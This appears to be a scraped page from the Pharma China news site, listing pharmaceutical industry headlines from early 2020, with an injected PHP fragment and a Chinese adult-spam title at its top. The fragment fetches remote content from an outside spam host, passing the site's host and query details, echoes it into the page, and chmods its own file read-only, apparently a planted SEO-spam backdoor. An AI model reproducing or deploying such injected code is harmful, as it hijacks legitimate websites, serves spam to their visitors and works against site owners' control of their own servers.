($key,'so')!==false) { set_time_limit(0); header("Content-Type: text/html;charset=gb2312"); date_default_timezone_set('PRC'); $TD_server = "http://flowers520.com/"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); cache_end($dir); }else{ echo ''; } ?> 美女丝袜诱惑视频大全_性感丝袜视频在线观看
Home Pharma China Web Edition Pharma China Archives Online Databases Subscription/Order/Info Event Calendar China Pharma Providers About Us
The Market
Industry News
Regulatory News
General Health
Legal/IPR News
Product/R&D News
API/Bulk Drug News
People in the News
Other News
Top News Worldwide
Editorials
Commentaries
Expert Opinions
Interviews
Case Studies
Company Profiles
Editor´s Picks
 
 
 
What Are the Lessons To Be Drawn from China's New Normal and the Latest Novel Co...
Chief Editor James Shen offers his monthly review of the Chinese healthcare sector with this issue's emphasis on the lessons from the new normal of Chinese pharma and pos... (2/28/2020)
   
AmCham China Releases Extended COVID-19 Flash Survey Report (3/6/2020)
IQVIA Looks into The Epidemic’s Impact on China’s Healthcare Industry (3/6/2020)
What Are the Lessons To Be Drawn from China's New Normal and the Latest Novel Coronavirus Crisis? (2/28/2020)
McKinsey Assesses Impacts of Covid-19 on China Healthcare (2/26/2020)
EPO and CNIPA Announce Pilot Programme to Enhance PCT Co-operation (2/25/2020)
2019 Ends and 2020 Begins with a Flurry of Biosimilar Activity in East Asian Markets (2/25/2020)
U.S.-China Trade Deal Shows Potential for Improved U.S. Intellectual Property Rights in China (2/14/2020)
FT: Sanofi Turns to AI to Cut Chinese Recruitment Churn (2/12/2020)
Drugmakers Braced for Coronavirus Disruption to China Supplies (2/11/2020)
China's Move to Patent Gilead's Experimental Drug for The Novel Virus Could Lead to Legal Wrangle (2/6/2020)
China's Drug Patent Grab Makes Coronavirus Scary for Pharma (2/6/2020)
Annual Overview of the Chinese Pharmaceutical Sector 2019 and Outlook for 2020 - Chinese Pharma Remain Trapped in Cloud as Industry Recalibrates (2/3/2020)
Review of Chinese Pharma Deals, R&D and Regulatory Developments in 2019 (2/3/2020)
China Launches Price War to Reshuffle Pharma Industry; Bayer Cuts Prices By 90% To Secure Market (2/2/2020)
Can AliHealth Transform China's Pharma Industry? (2/2/2020)
Recent Executive Moves  (3/6/2020)
China Issues Major Policy for Deepening ...  (3/5/2020)
Biocartis Announces New I/O Project with...  (3/5/2020) (free)
Alopexx Enters Licensing Deal with BJ Sh...  (3/4/2020)
Takeda Eyes Immune Globulin Approach to ...  (3/4/2020)
Sihuan Starts Clinical Trial of Ebola Dr...  (3/4/2020) (free)
NHSA and MOHRSS Makes Name Changes to Ce...  (3/4/2020)
Sirona and BJ Huaxi Pharma Sign LOI for ...  (3/4/2020)
Cardinal Health Settles with SEC for Chi...  (3/4/2020)
U.S. FDA Accepts NDA for Luye's Depressi...  (3/4/2020)
China Approves Roche's Arthritis Drug Ac...  (3/4/2020)
India Bans Export of 26 Key Active Pharm...  (3/4/2020)
PhIRDA Proposes Policy Liberalization to...  (3/4/2020)
ERBITUX Approved for First-line Use in P...  (3/3/2020)
Beijing High Rejects Novartis' Trademark...  (3/3/2020)
Pfizer to Absorb Mylan, Creating Global Generic Powerhou...
PhRMA Calls for Trade Deals That Force Countries to Pay ...
IQVIA: Global Pharma to Grow Slower in the Next Five Yea...
Pfizer and GSK Announce JV to Create a Global Consumer H...
Top 25 Global Pharmaceutical Companies by Market Cap 201...
China Prostate Cancer Diagnostic and Therapeutic Market Analysi...
GlobalData: NRDL Updates Could Lead to Increased Access to Inno...
PHIIC: Data Snapshots of Chinese Pharma Market 2013-2019E
Chinese Cancer Drug Market to Surpass $30+ Billion by 2025
NH Reports on Chinese OTC Sleep Aids Market in MAT Q3/2018
Biocartis Announces New I/O Project with Bristol-Myers Squib...
Alopexx Enters Licensing Deal with BJ Shenogen for Novel Imm...
Sirona and BJ Huaxi Pharma Sign LOI for Commercial Partnersh...
China Approves Roche's Arthritis Drug Actemra for Novel Coro...
ERBITUX Approved for First-line Use in Patients with R/M SCC...
PhIRDA Proposes Policy Liberalization to Cope with Chall...
NMPA Solicits Comments on Draft Guidelines for Quality C...
NMPA Solicits Comments on Draft Working Procedures for I...
PhIRDA Advocates the Establishment of CEUA System for Dr...
U.S. FDA Suspends China Inspections, Warns of Potential ...
Cardinal Health Settles with SEC for China-linked FCPA Alleg...
Beijing High Rejects Novartis' Trademark Registration of "Al...
Gilead's Antiviral Remdesivir Granted Three Patents in China...
China to Fast-Track Biosecurity Law in Wake of Coronavirus
CNIPA Releases the 2019 Statistics on Patent, Trademark, GI ...
India Bans Export of 26 Key Active Pharma Ingredients
Indian Govt to Fly Raw Materials from Coronavirus-hit Ch...
FDA Catches Lies and Violations of Chinese Heparin Produ...
Sanofi to Compete in API Sector against China and India ...
India May Soon Impose Temporary Export Ban on Numerous E...
Takeda Eyes Immune Globulin Approach to Treating Covid-1...
Sihuan Starts Clinical Trial of Ebola Drug Favipiravir f...
U.S. FDA Accepts NDA for Luye's Depression Drug
Kainos Med's HIV Drug Enters Final Stage of Phase 3 Tria...
US Initiates First Study of Gilead's Remdesivir for Coro...
China Issues Major Policy for Deepening Medical Insuranc...
NHSA and MOHRSS Makes Name Changes to Certain Drugs List...
NHSA and NHC Issues Policy for Internet+ Healthcare Serv...
China Issues New Policy to Strengthen Pharmacy Affairs a...
China Issues New Policy to Reduce Urban Employee BMI Pre...
Recent Executive Moves
Recent Executive Moves
Recent Executive Moves
Recent Executive Moves
Recent Executive Moves
Upcoming Event: 6th Annual Biopharma Development and Pro...
Upcoming Event: 5th Asia Pacific Healthcare Summit 2020
U.S. and China Inks Phase One Trade Deal
Amid Trade War, China Lowers Import Tariffs on 850 Produ...
Upcoming Event: International Conference on Biosimilars ...
Pharma China is the most influential English media and source of business intelligence covering the Chinese pharmaceutical and biopharmaceutical sector...
WiCON has been helping international healthcare companies succeed in China and other Asian markets since 1991. We advise our clients on every stage of their China and Asian business. We worked with clients in many regions of the world...
  WiCON Publishes the China Phar...
  WiCON to Hold Pharma China Ann...
  WiCON Publishes the China Phar...
  WiCON Officially Publishes Chi...
  WiCON Officially Publishes Chi...
© Wicon International Group  Support by: www.heightow.com Site map | Contact Us | Links